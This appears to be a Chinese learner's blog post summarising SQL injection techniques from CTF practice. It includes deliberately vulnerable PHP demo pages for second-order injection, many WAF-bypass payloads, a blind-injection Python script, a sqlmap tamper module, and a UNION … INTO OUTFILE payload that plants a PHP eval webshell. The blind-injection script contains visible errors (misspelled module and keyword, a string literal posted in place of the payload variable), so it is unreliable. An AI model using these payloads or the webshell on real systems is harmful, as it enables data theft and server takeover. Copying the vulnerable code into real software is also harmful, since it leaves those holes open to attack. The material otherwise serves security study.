0x00前言:
繼上篇的內容,這章總結下二次注入,python腳本,bypass
0x01二次注入:
二次注入的原理是在把非法代碼添加進數據庫里面存儲了,因為 \' 這種轉義不會把\(反斜杠)代入到數據庫中存儲,然后在其他地方調用了這個非法代碼並且拼接到sql語句中了
簡而言之
非法代碼 ==存入==> 數據庫 #非法代碼 \' 這種轉義的只會把 ' 存入數據庫 數據庫中的非法代碼字段 ==取出==> 后台語言中的變量中 后台語言變量的非法代碼 ==代入==> sql查詢語句中進行拼接
這里我手寫了個建議的二次注入原理代碼
插入數據頁面代碼input.php
<?php $conn = mysql_connect('localhost', 'root', 'root'); mysql_select_db("test", $conn); ?> <html> <head> <meta charset="utf-8"> </head> <form action="" method="post"> 用戶id:<input type = "text" name="id" value="" /><br> 用戶名:<input type = "text" name="username" value="" /><br> 密碼:<input type = "text" name="password" value="" /><br> 郵箱:<input type ="text" name="email" value="" /><br> <input type="submit" name="submit" /> </form> </html> <?php $id = @addslashes($_POST['id']); $username = @addslashes($_POST['username']); $password = @addslashes($_POST['password']); $email = @addslashes($_POST['email']); $sql = "insert into userinfo values('$id','$username','$password','$email')"; mysql_query($sql); ?>
查詢數據頁面代碼out.php
<?php $uid = $_GET['uid']; $conn = mysql_connect('localhost', 'root', 'root'); mysql_select_db("test", $conn); $sql = "SELECT * FROM userinfo where id='$uid'"; $result = mysql_query($sql); $ans = mysql_fetch_array($result); $username = $ans['username']; $sql2 = "SELECT * FROM userinfo where username='$username'"; $result = mysql_query($sql2); $ans = mysql_fetch_array($result); var_dump($ans);
首先查看數據庫里面的數據,就2個
在input.php頁面添加信息,用戶名就是我們的注入代碼
再看數據庫,發現 \ 這個符號確實沒有被代入數據庫中存儲
在out.php中傳入get參數3,發現執行union聯合查詢輸出的1,2,database(),4。這里我數據庫名字叫做'test'
至此二次查詢的原理就是這樣,在ctf中曾做過一道二次查詢的題目
題目攻擊方式大致是通過注冊,如果執行成功主頁和執行失敗的主頁是有區別的,然后寫python腳本盲注得出flag
其中用戶名的代碼為
'or if((length((select database()))>0),1,0) or'
代入數據庫前完整代碼可能是
insert into user values('id','\'or if((length((select database()))>0),1,0) or\'','password')
取出數據時候的情況即
$username = $ans['username'] #$username = 'or if((length((select database()))>0),1,0) or'
第二次拼接的情況
mysql_query("select * from user where username = ''or if((length((select database()))>0),1,0) or'' ")
那么還存在一種情況就是拼接的字段是id,但是id我們不可控,比如(當然該條件有個限制即 '(單引號) 沒有被轉義!!!!!!)
mysql_query("insert into userinfo values('4','$username', '$password', '$email')");
查詢語句根據username取出數據庫內容,再把id拼接到查詢語句
$id = $ans['Id'];
mysql_query("select * from userinfo where id = $id ")
這時候我們可以控制$email參數,做到寫入多組記錄
si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha','haha@qq.com
可以看到一口氣注冊了2個賬號,而5號賬號是我可控的(我將源代碼中input.php的addslashes給去除了)
類比下,如果只有中間的password我們可控的話
password','si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha','haha@qq.com'),('6','myname','password2 #這樣會出現3組數據
或者
password','si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha #這樣就出現2組數據
0x02bypass:
寫bypass總有些心虛,因為自己知道的不多23333
雙寫繞過清空
有些waf是用preg_match將非法字符替換為空,比如
$sql = preg_match("/union|select/i", "", $sql)
它不是把你數據直接擋掉報錯,而是處理后仍然通行,在有/xx/i忽視大小寫可以雙寫
selselectect ==去掉其中的select==> sel去掉的ect ==> select
url和base64編碼
其實這不怎么算bypass,但是有些書上也這么講,這里稍微寫下
在有些代碼中會對參數進行base64解碼,url解碼等操作,如果這些操作在轉義或者waf之后的話,就會逃過過濾達到注入的效果
如果在處理之前的話就沒有作用啦
內斂注釋
在有些在后台代碼上對關鍵字並未過濾,但是之后會經過安全軟件,再存入數據庫,有時候內斂注釋可以騙過安全軟件
/*!union*/ #其中的union是會執行的
空格被過濾
有2中辦法,通過括號或者/**/來完成不需要空格也能執行的方法
xx'/**/union/**/select/**/1,2,3,4/**/# xx'union select(1),(2),(3)#
空格有個問題,它是將參數括起來來繞過空格,但是如果2個關鍵字比如這里的union和select沒法一個當另一個的參數,於是有時候這個方法也不靈
單引號的過濾
雖然sql注入第一步就是將單引號逃逸出來,但是有時候單引號逃逸了后會在單引號前面加些奇怪的東西,比如GBK寬字節注入
這時候可以hex編碼
'內容' 等價於 0x內容的十六進制編碼
'abc' = 0x616263
特別的sprintf
有些時候會用sprintf來包裹sql語句,但是sprintf這個函數有個問題在,非正常的地方輸入%,會提示warning(如果沒有用@禁止的話)
利用方法,用 %1$' 代替 '
' ==> %1$' %1$'or 1=1 #
關鍵字的繞過
在總結一中歸納了 ,(逗號) 被過濾的方法
if(exp1, exp2, exp3) => case when exp1 then exp2 else exp3 end substr(exp1, 1, 1) => substr(exp1) from 1 for 1
如果 and 和 or 被過濾了
and => &&
or => ||
如果where被過濾了
where id='1' => order by id having id='1'
如果'='被過濾了
'=' => '<>'
如果'<','>','='被過濾了,但是要設置范圍
id = 1 ==> id between 1 and 1
關於json的編碼
之前做18年HCTF的時候,一道簡單的代碼審計題,會將cookie中的值代入waf中,然后再進入數據庫
關鍵點在於在經過waf后,它會進行json的解碼。
在json解碼中有個Unicode的編碼問題,有興趣大家可以百度下,我這里直接寫利用方法
json編碼可以用\u00xx (xx為16進制ascii碼)來用Unicode來編碼對應字符。如果waf在json_decode之前,那么可以通過這個方法繞過
'\u0075' ==> 'u'
0x03python腳本
sqlmap十分強大,但是就算是level5,有時候也會被特別的waf給攔截,調用它的bypass模塊又記不住。這里就總結下自己怎么寫盲注python腳本
import requests
url = "xxxx"
flag = "" s = reuqests.session() #獲取會話
for i in range(100): #在bool還是延時注入的時候都要一個個試,假設我們這里不知道目標字段的長度就稍微設置個合適的
for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_-,.": #這個是可能的字符,一個個試唄
payload = "xx' or if((substr(database())=" + str(j) + "," + str(i) + ",1),1,0) #" #手工測出來有效的payload,當然實際情況會根據waf變個型
data = {
'username':'payload',
'password':'123'
}
s.post(url,data=data) #發送數據
if "right" in s.text : #如果返回值有在sql語句成功后有不同於失敗的時候的回顯,將該回顯當做判定
flag += str(j)
print flag
beak
那么我們在知道替換規則的情況下可以自己寫sqlmap的bypass腳本
在sqlmap文件夾下的/tamper/下,自己創建個py文件
#!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): payload = payload.replace("'","%1$'") #將什么替換成什么 payload = payload.replace("u","\u0075") #將什么替換成什么,可以寫很多個 return payload
在sqlmap使用的時候調用這個模塊,即可使用自定義過程
sqlmap --tamper=模塊名.py -u 'http://xxx.xx.xx.xx/ddd.php?id=1'
0x04將結果寫入文件達到getshell
寫入文件的前提是outfile這個關鍵字沒有被禁止,並且知道web站點的絕對路徑
使用方法是
xx' union select 1,2,'<?php eval($_POST[1]) ?>' into outfile '/var/www/html/sijidou.php' #
0xff結語
sql注入差不多我近一年來學到的就這些,可能還遠遠不夠,遇到一個記一個是個笨辦法,但也不失是一個好辦法。